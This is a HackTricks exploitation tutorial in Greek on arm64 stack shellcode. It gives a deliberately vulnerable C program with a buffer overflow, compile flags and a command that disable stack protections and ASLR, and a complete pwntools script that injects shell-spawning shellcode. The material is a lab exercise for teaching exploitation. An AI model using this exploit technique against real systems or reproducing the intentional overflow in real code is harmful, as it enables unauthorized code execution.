Stack Shellcode - arm64

Reading time: 3 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βρείτε μια εισαγωγή στο arm64 στο:

Introduction to ARM64v8

Linux

Code

c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Μεταγλωττίστε χωρίς pie, canary και nx:

bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Χωρίς ASLR & Χωρίς canary - Stack Overflow

Για να απενεργοποιήσετε το ASLR εκτελέστε:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Για να βρείτε το offset of the bof check this link.

Exploit:

python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Το μόνο "περίπλοκο" που πρέπει να βρεις εδώ είναι η διεύθυνση στην stack που θα καλέσεις. Στη δική μου περίπτωση δημιούργησα το exploit με τη διεύθυνση που βρήκα χρησιμοποιώντας gdb, αλλά όταν το εκτέλεσα δεν λειτούργησε (επειδή η διεύθυνση της stack άλλαξε λίγο).

Άνοιξα το παραγόμενο core αρχείο (gdb ./bog ./core) και έλεγξα την πραγματική διεύθυνση της αρχής του shellcode.

macOS

tip

Δεν είναι δυνατό να απενεργοποιήσεις το NX σε macOS επειδή σε arm64 αυτή η λειτουργία εφαρμόζεται σε επίπεδο hardware, οπότε δεν μπορείς να την απενεργοποιήσεις — γι' αυτό δεν θα βρεις παραδείγματα με shellcode στην stack σε macOS.

Δες ένα παράδειγμα macOS ret2win στο:

Ret2win - arm64

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks